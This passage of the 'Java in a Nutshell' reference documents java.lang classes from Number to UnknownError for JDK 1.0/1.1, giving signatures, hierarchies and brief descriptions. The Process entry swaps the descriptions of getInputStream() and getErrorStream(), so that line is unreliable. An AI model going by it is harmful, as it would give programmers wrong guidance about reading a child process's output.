This is an abstract class that is the superclass of Byte, Short, Integer, Long, Float, and Double. It defines the conversion functions that those types all implement.

public abstract class Number extends Object implements Serializable {
    // Default Constructor: public Number()
    // Public Instance Methods
        1.1public byte byteValue();
            public abstract double doubleValue();
            public abstract float floatValue();
            public abstract int intValue();
            public abstract long longValue();
        1.1public short shortValue();
}

Extended By:

BigDecimal, BigInteger, Byte, Double, Float, Integer, Long, Short

Returned By:

ChoiceFormat.parse(),
DecimalFormat.parse(),
NumberFormat.parse()

Previous | Home | Next
java.lang.NullPointerException (JDK 1.0) | Book Index | java.lang.NumberFormatException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.46 java.lang.NumberFormatException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.46 java.lang.NumberFormatException (JDK 1.0)

Signals an illegal number format.

public class NumberFormatException extends IllegalArgumentException {
    // Public Constructors
            public NumberFormatException();
            public NumberFormatException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException-> IllegalArgumentException->NumberFormatException

Thrown By:

BigDecimal(),
BigDecimal.valueOf(),
BigInteger(),
Byte(),
Byte.decode(),
Byte.parseByte(),
Byte.valueOf(),
Color.decode(),
Double(),
Double.valueOf(),
Float(),
Float.valueOf(),
Integer(),
Integer.decode(),
Integer.parseInt(),
Integer.valueOf(),
Long(),
Long.parseLong(),
Long.valueOf(),
Short(),
Short.decode(),
Short.parseShort(),
Short.valueOf()

Previous | Home | Next
java.lang.Number (JDK 1.0) | Book Index | java.lang.Object (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.47 java.lang.Object (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.47 java.lang.Object (JDK 1.0)

This is the root class in Java. All classes are subclasses of Object, and thus all objects can invoke the public and protected methods of this class. equals() tests whether two objects have the same value (i.e., not whether two variables refer to the same object, but whether two distinct objects have byte-for-byte equivalence). For classes that implement the Cloneable interface, clone() makes a byte-for-byte copy of an Object. getClass() returns the Class object associated with any Object, and the notify(), notifyAll(), and wait() methods are used for thread synchronization on a given Object.

A number of these Object methods should be overridden by subclasses of Object. Subclasses should provide their own definition of the toString() method so that they can be used with the string concatenation operator and with the PrintWriter.println() methods. Defining the toString() method for all objects also helps with debugging.

Classes that contain references to other objects may want to override the equals() and clone() methods (for Cloneable objects) so that they recursively call the equals() and clone() methods of the objects referred to within the original object. Some classes, particularly those that override equals(), may also want to override the hashCode() method to provide an appropriate hashcode to be used when storing instances in a Hashtable data structure.

Classes that allocate system resources other than memory (such as file descriptors or windowing system graphic contexts) should override the finalize() method to release these resources when the object is no longer referred to and is about to be garbage collected.

public class Object {
    // Default Constructor: public Object()
    // Public Instance Methods
            public boolean equals(Object obj);
            public final native Class getClass();
            public native int hashCode();
            public final native void notify();
            public final native void notifyAll();
            public String toString();
            public final native void wait(long timeout) throws InterruptedException;
            public final void wait(long timeout, int nanos) throws InterruptedException;
            public final void wait() throws InterruptedException;
    // Protected Instance Methods
            protected native Object clone() throws CloneNotSupportedException;
            protected void finalize() throws Throwable;
}

Extended By:

Many classes

Passed To:

Many methods

Returned By:

Many methods

Type Of:

Event.arg, Event.target, EventObject.source, Image.UndefinedProperty, Reader.lock, ReplicateScaleFilter.outpixbuf, Vector.elementData, Writer.lock

Previous | Home | Next
java.lang.NumberFormatException (JDK 1.0) | Book Index | java.lang.OutOfMemoryError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.48 java.lang.OutOfMemoryError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.48 java.lang.OutOfMemoryError (JDK 1.0)

Signals that the interpreter has run out of memory (and that garbage collection is unable to free any memory).

public class OutOfMemoryError extends VirtualMachineError {
    // Public Constructors
            public OutOfMemoryError();
            public OutOfMemoryError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->VirtualMachineError->OutOfMemoryError

Previous | Home | Next
java.lang.Object (JDK 1.0) | Book Index | java.lang.Process (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.49 java.lang.Process (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.49 java.lang.Process (JDK 1.0)

This class describes a process that is running externally to the Java interpreter. Note that a Process is a very different thing than a Thread. The Process class is abstract and may not be instantiated. Call one of the Runtime.exec() methods to start a process and return a corresponding Process object.

waitFor() blocks until the Process exits. exitValue() returns the exit code of the process. destroy() kills the process. getInputStream() returns an InputStream from which you can read any bytes the process sends to its standard error stream. getErrorStream() returns an InputStream from which you can read any bytes the process sends to its standard output stream. getOutputStream() returns an OutputStream that you can use to send bytes to the standard input stream of the process.

public abstract class Process extends Object {
    // Default Constructor: public Process()
    // Public Instance Methods
            public abstract void destroy();
            public abstract int exitValue();
            public abstract InputStream getErrorStream();
            public abstract InputStream getInputStream();
            public abstract OutputStream getOutputStream();
            public abstract int waitFor() throws InterruptedException;
}

Returned By:

Runtime.exec()

Previous | Home | Next
java.lang.OutOfMemoryError (JDK 1.0) | Book Index | java.lang.Runnable (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.50 java.lang.Runnable (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.50 java.lang.Runnable (JDK 1.0)

This interface specifies the run() method that is required for use with the Thread class. Any class that implements this interface can provide the "body" of a thread. See Thread for more information.

public abstract interface Runnable {
    // Public Instance Methods
            public abstract void run();
}

Implemented By:

Thread

Passed To:

Thread()

Previous | Home | Next
java.lang.Process (JDK 1.0) | Book Index | java.lang.Runtime (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.51 java.lang.Runtime (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.51 java.lang.Runtime (JDK 1.0)

This class encapsulates a number of platform-dependent system functions. The static method getRuntime() returns the Runtime object for the current platform, and this object can be used to perform system functions in a platform-independent way.

exec() starts a new process running externally to the interpreter. Note that any processes run outside of Java may be system-dependent.

exit() causes the Java interpreter to exit and return a specified return code.

freeMemory() returns the approximate amount of free memory. totalMemory() returns the total amount of memory available to the Java interpreter. gc() forces the garbage collector to run synchronously, which may free up more memory. Similarly, runFinalization() forces the finalize() methods of unreferenced objects to be run immediately. This may free up system resources that those objects were holding.

load() loads a dynamic library with a fully specified path name. loadLibrary() loads a dynamic library with only the library name specified; it looks in platform-dependent locations for the specified library. These libraries generally contain native code definitions for native methods.

traceInstructions() and traceMethodCalls() enable and disable tracing by the interpreter.

Note that some of the Runtime methods are more commonly called via the static methods of the System class.

public class Runtime extends Object {
    // No Constructor
    // Class Methods
            public static Runtime getRuntime();
        1.1public static void runFinalizersOnExit(boolean value);
    // Public Instance Methods
            public Process exec(String command) throws IOException;
            public Process exec(String command, String[] envp) throws IOException;
            public Process exec(String[] cmdarray) throws IOException;
            public Process exec(String[] cmdarray, String[] envp) throws IOException;
            public void exit(int status);
            public native long freeMemory();
            public native void gc();
        #   public InputStream getLocalizedInputStream(InputStream in);
        #   public OutputStream getLocalizedOutputStream(OutputStream out);
            public synchronized void load(String filename);
            public synchronized void loadLibrary(String libname);
            public native void runFinalization();
            public native long totalMemory();
            public native void traceInstructions(boolean on);
            public native void traceMethodCalls(boolean on);
}

Returned By:

Runtime.getRuntime()

Previous | Home | Next
java.lang.Runnable (JDK 1.0) | Book Index | java.lang.RuntimeException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.52 java.lang.RuntimeException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.52 java.lang.RuntimeException (JDK 1.0)

This exception type is not used directly, but serves as a superclass of a group of run-time exceptions that need not be declared in the throws clause of a method definition. These exceptions need not be declared because they are run-time conditions that can generally occur in any Java method. Thus, declaring them would be unduly burdensome, and Java does not require it.

public class RuntimeException extends Exception {
    // Public Constructors
            public RuntimeException();
            public RuntimeException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException

Extended By:

ArithmeticException, ArrayStoreException, ClassCastException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalStateException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, SecurityException

Previous | Home | Next
java.lang.Runtime (JDK 1.0) | Book Index | java.lang.SecurityException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.53 java.lang.SecurityException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.53 java.lang.SecurityException (JDK 1.0)

Signals that an operation is not permitted for security reasons.

public class SecurityException extends RuntimeException {
    // Public Constructors
            public SecurityException();
            public SecurityException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->SecurityException

Thrown By:

Beans.setDesignTime(),
Beans.setGuiAvailable(),
Class.getConstructor(),
Class.getConstructors(),
Class.getDeclaredClasses(),
Class.getDeclaredConstructor(),
Class.getDeclaredConstructors(),
Class.getDeclaredField(),
Class.getDeclaredFields(),
Class.getDeclaredMethod(),
Class.getDeclaredMethods(),
Class.getField(),
Class.getFields(),
Class.getMethod(),
Class.getMethods(),
ObjectInputStream.enableResolveObject(),
ObjectOutputStream.enableReplaceObject()

Previous | Home | Next
java.lang.RuntimeException (JDK 1.0) | Book Index | java.lang.SecurityManager (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.54 java.lang.SecurityManager (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.54 java.lang.SecurityManager (JDK 1.0)

This abstract class defines the methods necessary to implement a security policy for the execution of untrusted code. Before performing potentially sensitive operations, Java calls methods of the SecurityManager object currently in effect to determine whether the operations are permitted. These methods throw a SecurityException if the operation is not permitted.

Normal applications do not need to use or subclass the SecurityManager class. It is typically only used by Web browsers, applet viewers, and other programs that need to run untrusted code in a controlled environment.

public abstract class SecurityManager extends Object {
    // Protected Constructor
            protected SecurityManager();
    // Protected Instance Variables
            protected boolean inCheck;
    // Public Instance Methods
            public void checkAccept(String host, int port);
            public void checkAccess(Thread g);
            public void checkAccess(ThreadGroup g);
        1.1public void checkAwtEventQueueAccess();
            public void checkConnect(String host, int port);
            public void checkConnect(String host, int port, Object context);
            public void checkCreateClassLoader();
            public void checkDelete(String file);
            public void checkExec(String cmd);
            public void checkExit(int status);
            public void checkLink(String lib);
            public void checkListen(int port);
        1.1public void checkMemberAccess(Class clazz, int which);
        1.1public void checkMulticast(InetAddress maddr);
        1.1public void checkMulticast(InetAddress maddr, byte ttl);
            public void checkPackageAccess(String pkg);
            public void checkPackageDefinition(String pkg);
        1.1public void checkPrintJobAccess();
            public void checkPropertiesAccess();
            public void checkPropertyAccess(String key);
            public void checkRead(FileDescriptor fd);
            public void checkRead(String file);
            public void checkRead(String file, Object context);
        1.1public void checkSecurityAccess(String action);
            public void checkSetFactory();
        1.1public void checkSystemClipboardAccess();
            public boolean checkTopLevelWindow(Object window);
            public void checkWrite(FileDescriptor fd);
            public void checkWrite(String file);
            public boolean getInCheck();
            public Object getSecurityContext();
        1.1public ThreadGroup getThreadGroup();
    // Protected Instance Methods
            protected native int classDepth(String name);
            protected native int classLoaderDepth();
            protected native ClassLoader currentClassLoader();
        1.1protected Class currentLoadedClass();
            protected native Class[] getClassContext();
            protected boolean inClass(String name);
            protected boolean inClassLoader();
}

Passed To:

System.setSecurityManager()

Returned By:

System.getSecurityManager()

Previous | Home | Next
java.lang.SecurityException (JDK 1.0) | Book Index | java.lang.Short (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.55 java.lang.Short (JDK 1.1)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.55 java.lang.Short (JDK 1.1)

This class provides an object wrapper around the short primitive type. It defines useful constants for the minimum and maximum values that can be stored by the short type, and also a Class object constant that represents the short type. It also provides various methods for converting Short values to and from strings and other numeric types.

Most of the static methods of this class are used to convert a String to a Short object or a short value: the four parseShort() and valueOf() methods parse a number from the specified string, using an optionally specified radix, and return it in one of these two forms. The decode() method parses a number specified in base 10, base 8, or base 16 and returns it as a Short. If the string begins with "0x" or "#", it is interpreted as a hexadecimal number, or if it begins with "0", it is interpreted as an octal number. Otherwise, it is interpreted as a decimal number.

Note that this class has two different toString() methods. One is static and converts a short primitive value to a String. The other is the usual toString() method that converts a Short object to a string. Most of the remaining methods convert a Short to various primitive numeric types.

public final class Short extends Number {
    // Public Constructors
            public Short(short value);
            public Short(String s) throws NumberFormatException;
    // Constants
            public static final short MAX_VALUE;
            public static final short MIN_VALUE;
            public static final Class TYPE;
    // Class Methods
            public static Short decode(String nm) throws NumberFormatException;
            public static short parseShort(String s) throws NumberFormatException;
            public static short parseShort(String s, int radix) throws NumberFormatException;
            public static String toString(short s);
            public static Short valueOf(String s, int radix) throws NumberFormatException;
            public static Short valueOf(String s) throws NumberFormatException;
    // Public Instance Methods
            public byte byteValue();  // Overrides Number
            public double doubleValue();  // Defines Number
            public boolean equals(Object obj);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public long longValue();  // Defines Number
            public short shortValue();  // Overrides Number
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->Short

Returned By:

Short.decode(), Short.valueOf()

Previous | Home | Next
java.lang.SecurityManager (JDK 1.0) | Book Index | java.lang.StackOverflowError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.56 java.lang.StackOverflowError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.56 java.lang.StackOverflowError (JDK 1.0)

Signals that a stack overflow has occurred within the Java interpreter.

public class StackOverflowError extends VirtualMachineError {
    // Public Constructors
            public StackOverflowError();
            public StackOverflowError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->VirtualMachineError->StackOverflowError

Previous | Home | Next
java.lang.Short (JDK 1.1) | Book Index | java.lang.String (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.57 java.lang.String (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.57 java.lang.String (JDK 1.0)

The String class represents a string of characters. A String object is created by the Java compiler whenever it encounters a string in doublequotes--this method of creation is usually simpler than using a constructor. A number of the methods of this class provide useful string manipulation functions. length() returns the number of characters in a string. charAt() extracts a character from a string. compareTo() compares two strings. equalsIgnoreCase() tests string for equality, ignoring case. startsWith() and endsWith() compare the start and end of a string to a specified value. indexOf() and lastIndexOf() search forward and backwards in a string for a specified character or substring. substring() returns a substring of a string. replace() creates a new copy of the string with one character replaced by another. toUpperCase() and toLowerCase() convert the case of a string. trim() strips whitespace from the start and end of a string. concat() concatenates two strings, which can also be done with the + operator.

Note that String objects are immutable--there is no setCharAt() method to change the contents. The methods above that return a String do not modify the string they are passed, but instead return a modified copy of the string. Use a StringBuffer if you want to manipulate the contents of a string, or use toCharArray() to convert a string to an array of char values.

The static valueOf() methods convert various Java primitive types to strings.

public final class String extends Object implements Serializable {
    // Public Constructors
            public String();
            public String(String value);
            public String(char[] value);
            public String(char[] value, int offset, int count);
        #   public String(byte[] ascii, int hibyte, int offset, int count);
        #   public String(byte[] ascii, int hibyte);
        1.1public String(byte[] bytes, int offset, int length, String enc) throws UnsupportedEncodingException;
        1.1public String(byte[] bytes, String enc) throws UnsupportedEncodingException;
        1.1public String(byte[] bytes, int offset, int length);
        1.1public String(byte[] bytes);
            public String(StringBuffer buffer);
    // Class Methods
            public static String copyValueOf(char[] data, int offset, int count);
            public static String copyValueOf(char[] data);
            public static String valueOf(Object obj);
            public static String valueOf(char[] data);
            public static String valueOf(char[] data, int offset, int count);
            public static String valueOf(boolean b);
            public static String valueOf(char c);
            public static String valueOf(int i);
            public static String valueOf(long l);
            public static String valueOf(float f);
            public static String valueOf(double d);
    // Public Instance Methods
            public char charAt(int index);
            public int compareTo(String anotherString);
            public String concat(String str);
            public boolean endsWith(String suffix);
            public boolean equals(Object anObject);  // Overrides Object
            public boolean equalsIgnoreCase(String anotherString);
        #   public void getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
        1.1public byte[] getBytes(String enc) throws UnsupportedEncodingException;
        1.1public byte[] getBytes();
            public void getChars(int srcBegin, int srcEnd, char[] dst, int dstBegin);
            public int hashCode();  // Overrides Object
            public int indexOf(int ch);
            public int indexOf(int ch, int fromIndex);
            public int indexOf(String str);
            public int indexOf(String str, int fromIndex);
            public native String intern();
            public int lastIndexOf(int ch);
            public int lastIndexOf(int ch, int fromIndex);
            public int lastIndexOf(String str);
            public int lastIndexOf(String str, int fromIndex);
            public int length();
            public boolean regionMatches(int toffset, String other, int ooffset, int len);
            public boolean regionMatches(boolean ignoreCase, int toffset, String other, int ooffset, int len);
            public String replace(char oldChar, char newChar);
            public boolean startsWith(String prefix, int toffset);
            public boolean startsWith(String prefix);
            public String substring(int beginIndex);
            public String substring(int beginIndex, int endIndex);
            public char[] toCharArray();
        1.1public String toLowerCase(Locale locale);
            public String toLowerCase();
            public String toString();  // Overrides Object
        1.1public String toUpperCase(Locale locale);
            public String toUpperCase();
            public String trim();
}

Passed To:

Many methods

Returned By:

Many methods

Type Of:

BorderLayout.CENTER, BorderLayout.EAST, BorderLayout.NORTH, BorderLayout.SOUTH, BorderLayout.WEST, File.pathSeparator, File.separator, Font.name, HttpURLConnection.method, HttpURLConnection.responseMessage, InvalidClassException.classname, StreamTokenizer.sval, StringBufferInputStream.buffer

Previous | Home | Next
java.lang.StackOverflowError (JDK 1.0) | Book Index | java.lang.StringBuffer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.58 java.lang.StringBuffer (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.58 java.lang.StringBuffer (JDK 1.0)

This class represents a string of characters. It differs from the String class in that its contents may be modified. A StringBuffer object grows in length as necessary. The string stored in a StringBuffer object may be modified in place with the setCharAt(), append(), and insert() methods.

After a string is processed in a StringBuffer object, it may be efficiently converted to a String object for subsequent use. The StringBuffer.toString() method does not copy the internal array of characters; instead it shares that array with the new String object, and makes a new copy for itself only when further modifications are made to the StringBuffer object.

public final class StringBuffer extends Object implements Serializable {
    // Public Constructors
            public StringBuffer();
            public StringBuffer(int length);
            public StringBuffer(String str);
    // Public Instance Methods
            public synchronized StringBuffer append(Object obj);
            public synchronized StringBuffer append(String str);
            public synchronized StringBuffer append(char[] str);
            public synchronized StringBuffer append(char[] str, int offset, int len);
            public StringBuffer append(boolean b);
            public synchronized StringBuffer append(char c);
            public StringBuffer append(int i);
            public StringBuffer append(long l);
            public StringBuffer append(float f);
            public StringBuffer append(double d);
            public int capacity();
            public synchronized char charAt(int index);
            public synchronized void ensureCapacity(int minimumCapacity);
            public synchronized void getChars(int srcBegin, int srcEnd, char[] dst, int dstBegin);
            public synchronized StringBuffer insert(int offset, Object obj);
            public synchronized StringBuffer insert(int offset, String str);
            public synchronized StringBuffer insert(int offset, char[] str);
            public StringBuffer insert(int offset, boolean b);
            public synchronized StringBuffer insert(int offset, char c);
            public StringBuffer insert(int offset, int i);
            public StringBuffer insert(int offset, long l);
            public StringBuffer insert(int offset, float f);
            public StringBuffer insert(int offset, double d);
            public int length();
            public synchronized StringBuffer reverse();
            public synchronized void setCharAt(int index, char ch);
            public synchronized void setLength(int newLength);
            public String toString();  // Overrides Object
}

Passed To:

ChoiceFormat.format(),
DateFormat.format(),
DecimalFormat.format(),
Format.format(),
MessageFormat.format(),
NumberFormat.format(),
SimpleDateFormat.format(),
String()

Returned By:

ChoiceFormat.format(),
DateFormat.format(),
DecimalFormat.format(),
Format.format(),
MessageFormat.format(),
NumberFormat.format(),
SimpleDateFormat.format(),
StringBuffer.append(),
StringBuffer.insert(),
StringBuffer.reverse(),
StringWriter.getBuffer()

Previous | Home | Next
java.lang.String (JDK 1.0) | Book Index | java.lang.StringIndexOutOfBoundsException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.59 java.lang.StringIndexOutOfBoundsException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.59 java.lang.StringIndexOutOfBoundsException (JDK 1.0)

Signals that the index used to access a character of a String or StringBuffer is less than zero or is too large.

public class StringIndexOutOfBoundsException extends IndexOutOfBoundsException {
    // Public Constructors
            public StringIndexOutOfBoundsException();
            public StringIndexOutOfBoundsException(String s);
            public StringIndexOutOfBoundsException(int index);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException-> IndexOutOfBoundsException->StringIndexOutOfBoundsException

Previous | Home | Next
java.lang.StringBuffer (JDK 1.0) | Book Index | java.lang.System (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.60 java.lang.System (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.60 java.lang.System (JDK 1.0)

This class defines methods that provide a platform-independent interface to system functions. All of the methods and variables of this class are static. The class may not be instantiated.

getProperty() looks up a named property on the system properties list, returning the optionally specified default value if no property definition was found. getProperties() returns the entire properties list. setProperties() sets a Properties object on the properties list.

The in, out, and err variables are the system standard input, output, and error streams. arraycopy() copies an array or a portion of an array into a destination array. currentTimeMillis() returns the current time in milliseconds since midnight GMT on January 1, 1970.

exit(), gc(), load(), loadLibrary(), and runFinalization() invoke the methods of the same name in the Runtime object. See Runtime for details.

public final class System extends Object {
    // No Constructor
    // Constants
            public static final PrintStream err;
            public static final InputStream in;
            public static final PrintStream out;
    // Class Methods
            public static native void arraycopy(Object src, int src_position, Object dst, int dst_position, int length);
            public static native long currentTimeMillis();
            public static void exit(int status);
            public static void gc();
            public static Properties getProperties();
            public static String getProperty(String key);
            public static String getProperty(String key, String def);
            public static SecurityManager getSecurityManager();
        #   public static String getenv(String name);
        1.1public static native int identityHashCode(Object x);
            public static void load(String filename);
            public static void loadLibrary(String libname);
            public static void runFinalization();
        1.1public static void runFinalizersOnExit(boolean value);
        1.1public static void setErr(PrintStream err);
        1.1public static void setIn(InputStream in);
        1.1public static void setOut(PrintStream out);
            public static void setProperties(Properties props);
            public static void setSecurityManager(SecurityManager s);
}

Previous | Home | Next
java.lang.StringIndexOutOfBoundsException (JDK 1.0) | Book Index | java.lang.Thread (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.61 java.lang.Thread (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.61 java.lang.Thread (JDK 1.0)

This class encapsulates all the information about a single thread of control running on the Java interpreter. To create a thread, you must pass a Runnable object (i.e., an object that implements the Runnable interface by defining a run() method) to the Thread constructor, or you must subclass Thread so that it defines its own run() method.

The run() method of the Thread or of the specified Runnable object is the "body" of the thread. It begins executing when the start() method of the Thread object is called. The thread runs until the run() method returns or until the stop() method of its Thread object is called. The static methods of this class operate on the currently running thread. The instance methods may be called from one thread to operate on a different thread.

start() starts a thread running. stop() stops it by throwing a ThreadDeath error. suspend() temporarily halts a thread. resume() allows it to resume. sleep() makes the current thread stop for a specified amount of time. yield() makes the current thread give up control to any other threads of equal priority that are waiting to run. join() waits for a thread to die. interrupt() wakes up a waiting or sleeping thread (with an InterruptedException) or sets an "interrupted" flag on a non-sleeping thread. A thread can test its own "interrupted" flag with interrupted() or can test the flag of another thread with isInterrupted(). The Object wait() method makes the current thread block until the object's notify() method is called by another thread.

public class Thread extends Object implements Runnable {
    // Public Constructors
            public Thread();
            public Thread(Runnable target);
            public Thread(ThreadGroup group, Runnable target);
            public Thread(String name);
            public Thread(ThreadGroup group, String name);
            public Thread(Runnable target, String name);
            public Thread(ThreadGroup group, Runnable target, String name);
    // Constants
            public static final int MAX_PRIORITY;
            public static final int MIN_PRIORITY;
            public static final int NORM_PRIORITY;
    // Class Methods
            public static int activeCount();
            public static native Thread currentThread();
            public static void dumpStack();
            public static int enumerate(Thread[] tarray);
            public static boolean interrupted();
            public static native void sleep(long millis) throws InterruptedException;
            public static void sleep(long millis, int nanos) throws InterruptedException;
            public static native void yield();
    // Public Instance Methods
            public void checkAccess();
            public native int countStackFrames();
            public void destroy();
            public final String getName();
            public final int getPriority();
            public final ThreadGroup getThreadGroup();
            public void interrupt();
            public final native boolean isAlive();
            public final boolean isDaemon();
            public boolean isInterrupted();
            public final synchronized void join(long millis) throws InterruptedException;
            public final synchronized void join(long millis, int nanos) throws InterruptedException;
            public final void join() throws InterruptedException;
            public final void resume();
            public void run();  // From Runnable
            public final void setDaemon(boolean on);
            public final void setName(String name);
            public final void setPriority(int newPriority);
            public synchronized native void start();
            public final void stop();
            public final synchronized void stop(Throwable o);
            public final void suspend();
            public String toString();  // Overrides Object
}

Passed To:

SecurityManager.checkAccess(),
Thread.enumerate(),
ThreadGroup.enumerate(),
ThreadGroup.uncaughtException()

Returned By:

Thread.currentThread()

Previous | Home | Next
java.lang.System (JDK 1.0) | Book Index | java.lang.ThreadDeath (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.62 java.lang.ThreadDeath (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.62 java.lang.ThreadDeath (JDK 1.0)

Signals that a thread should terminate. This error is thrown in a thread when the Thread.stop() method is called for that thread. This is an unusual Error type that simply causes a thread to be terminated, but does not print an error message or cause the interpreter to exit. You may catch ThreadDeath errors to do any necessary cleanup for a thread, but if you do, you must re-throw the error, so that the thread actually terminates.

public class ThreadDeath extends Error {
    // Default Constructor: public ThreadDeath()
}

Hierarchy:

Object->Throwable(Serializable)->Error->ThreadDeath

Previous | Home | Next
java.lang.Thread (JDK 1.0) | Book Index | java.lang.ThreadGroup (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.63 java.lang.ThreadGroup (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.63 java.lang.ThreadGroup (JDK 1.0)

This class defines a group of threads and allows operations on the group as a whole. A ThreadGroup may contain Thread objects, as well as "child" ThreadGroup objects. All ThreadGroup objects are created as children of some other ThreadGroup, and thus there is a parent/child hierarchy of ThreadGroup objects.

Some programs may find it convenient to define their own ThreadGroup, but generally thread groups are only used by system-level applications.

public class ThreadGroup extends Object {
    // Public Constructors
            public ThreadGroup(String name);
            public ThreadGroup(ThreadGroup parent, String name);
    // Public Instance Methods
            public int activeCount();
            public int activeGroupCount();
        1.1public boolean allowThreadSuspension(boolean b);
            public final void checkAccess();
            public final void destroy();
            public int enumerate(Thread[] list);
            public int enumerate(Thread[] list, boolean recurse);
            public int enumerate(ThreadGroup[] list);
            public int enumerate(ThreadGroup[] list, boolean recurse);
            public final int getMaxPriority();
            public final String getName();
            public final ThreadGroup getParent();
            public final boolean isDaemon();
        1.1public synchronized boolean isDestroyed();
            public void list();
            public final boolean parentOf(ThreadGroup g);
            public final void resume();
            public final void setDaemon(boolean daemon);
            public final void setMaxPriority(int pri);
            public final void stop();
            public final void suspend();
            public String toString();  // Overrides Object
            public void uncaughtException(Thread t, Throwable e);
}

Passed To:

SecurityManager.checkAccess(),
Thread(),
ThreadGroup(),
ThreadGroup.enumerate(),
ThreadGroup.parentOf()

Returned By:

SecurityManager.getThreadGroup(),
Thread.getThreadGroup(),
ThreadGroup.getParent()

Previous | Home | Next
java.lang.ThreadDeath (JDK 1.0) | Book Index | java.lang.Throwable (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.64 java.lang.Throwable (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.64 java.lang.Throwable (JDK 1.0)

This is the root class of the Java exception and error hierarchy. All exceptions and errors are subclasses of Throwable. The getMessage() method retrieves any error message associated with the exception or error. printStackTrace() prints a stack trace that shows where the exception occurred. fillInStackTrace() extends the stack trace when the exception is partially handled, and then re-thrown.

public class Throwable extends Object implements Serializable {
    // Public Constructors
            public Throwable();
            public Throwable(String message);
    // Public Instance Methods
            public native Throwable fillInStackTrace();
        1.1public String getLocalizedMessage();
            public String getMessage();
            public void printStackTrace();
            public void printStackTrace(PrintStream s);
        1.1public void printStackTrace(PrintWriter s);
            public String toString();  // Overrides Object
}

Extended By:

Error, Exception

Passed To:

ExceptionInInitializerError(),
InvocationTargetException(),
Thread.stop(),
ThreadGroup.uncaughtException()

Returned By:

ExceptionInInitializerError.getException(),
InvocationTargetException.getTargetException(),
Throwable.fillInStackTrace()

Thrown By:

Object.finalize()

Previous | Home | Next
java.lang.ThreadGroup (JDK 1.0) | Book Index | java.lang.UnknownError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.65 java.lang.UnknownError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.65 java.lang.UnknownError (JDK 1.0)

Signals that an unknown error has occurred at the level of the Java Virtual Machine.

public class UnknownError extends VirtualMachineError {
    // Public Constructors
            public UnknownError();
